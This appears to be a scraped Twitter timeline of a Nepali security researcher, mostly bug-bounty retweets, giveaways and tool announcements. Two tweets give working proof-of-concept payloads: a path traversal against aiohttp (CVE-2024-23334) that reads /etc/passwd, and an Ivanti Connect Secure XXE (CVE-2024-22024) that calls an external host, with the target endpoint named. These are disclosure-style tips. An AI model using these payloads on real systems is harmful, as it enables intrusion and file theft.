Ajit Bhatta

Security Researcher🇳🇵

[Godfather Orwa 🇯🇴 @GodfatherOrwa]

My First Article, if you like it retweet ♥, ill do more ♥ https://t.co/dQWkEaZw8j

[Veshraj Ghimire🇳🇵 @GhimireVeshraj]

On December 11, We reported a AWS token leaked on a public repository belonging to marriot infrastructure which had SES service with verified domain of @marriot.com on December 12 @Hacker0x01 closed the report as n/a saying https://t.co/0suiUzOdqH is explicitly out of scope:

[Bugv @bugvsecurity]

OSCP Giveaway

In celebration of Cybersecurity Awareness Month, win the OffSec OSCP PEN-200 Course & Certificate Exam Bundle! 🛡️✨

💥 How to Participate:

1. Follow us on Facebook, LinkedIn, Instagram & Twitter.
2. LIKE this post.
3. SHARE with your community!

Good luck! 🍀

[Moulchi @oualilweb]

1/7
I recently encountered what might be the strangest SQL Injection I’ve ever seen.
The vulnerability exists in the username parameter of a password reset form. Here's a breakdown of this bizarre find.
👇

#BugBounty

[HackerAI @PentestGPT]

You can identify WordPress vulnerabilities using PentestGPT's Terminal!

[Ajit Bhatta @0x4ji7]

@GodfatherOrwa 🫡

[W01fh4cker @W01fh4cker]

CVE-2024-23334

Poc for windows: /static/../D:\flag.txt
Poc for Linux: /static/../../../../etc/passwd [need to fuzz "../"]
#aiohttp #vulnerability

https://t.co/HNTobUvbS8

[Tunahan TEKEOĞLU @hacker_dir]

Are you encountering bombshell bounties or misinformation related to Ivanti vulnerabilities lately? I'm all ears, I'm a doctor 😂. Here are some technical details to help you wrap your head around Ivanti vulnerabilities.

Enjoy your reading 💫

[H4x0r.DZ @h4x0r_dz]

CVE-2024-22024, XXE on Ivanti Connect Secure

payload encoded base64:

<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % xxe SYSTEM "http://{{external-host}}/x"> %xxe;]><r></r>

send it to 127.0.0.1/dana-na/auth/saml-sso.cgi with SAMLRequest parm

#bugbountytips #cve #Ivanti

[Thomas Roccia 🤘 @fr0gger_]

Okay, I've created an "awesome repository" that lists all the GPTs related to cybersecurity. Take a look – the list is continuously growing and there are already many use cases! Feel free to add yours 👇#gpt #infosec #Agents

https://t.co/MqKmMlD4D0

[Veshraj Ghimire🇳🇵 @GhimireVeshraj]

*Reports SPF missing as critical,
A few moments later:

[Luke Stephens (hakluke) @hakluke]

Giveaway! 🎉

I'm going to buy someone a new MacBook Pro M2 13".

To enter, retweet this tweet, then follow: @hakluke, @hacker_content & @haksecio.

If you're a cybersecurity org looking for high quality content and social media management, check out https://t.co/FfJsZ2HZYU 👇

[Omar Hashem @OmarHashem666]

Hello everyone, as promised, this is a detailed write-up on how I was able to get an account takeover in HubSpot Public Bug Bounty Program

https://t.co/Lz01Iqu9bA

#BugBounty #bugbountytips #Pentesting #cybersecurite #infosec ATO

[/ XNL -н4cĸ3r (and @xnl-h4ck3r in the new Sky) @xnl_h4ck3r]

v2.7 of xnLinkFinder is available:
✅ Use --output-wordlist to get your target specific wordlist for fuzzing! 🤘
✅ Many other new arguments to tailor the creation of the wordlist. See v2.7 CHANGELOG for more details.
https://t.co/hAHxqZJZZc
🤘

[SecurityTrails, A Recorded Future Company @securitytrails]

It's Black Friday! 🎉

Get FREE recurring API credits if you like + retweet this tweet (must be following @securitytrails).

If we get up to 100 RTs everyone gets 100 recurring monthly API credits. If we get over 100 RTs, everyone gets the # of API credits in the amount of RTs.

[Ajit Bhatta @0x4ji7]

@RoyNemer Its 5:45am in nepal🇳🇵

[Ajit Bhatta @0x4ji7]

@Hacker0x01 🖤

[Ajit Bhatta @0x4ji7]

@sovitpy Sorry for that mate . Send a dm to @iKentdoIt on Telegram if you will want to get your account restored

[Elon Musk @elonmusk]

@_bennettm_ @RyanZohoury @JoeBiden Well, I do have multiple personality disorder, but they’re all technically in the same head

[Ajit Bhatta @0x4ji7]

@GhimireVeshraj @Hacker0x01 Badhaiii😍🤑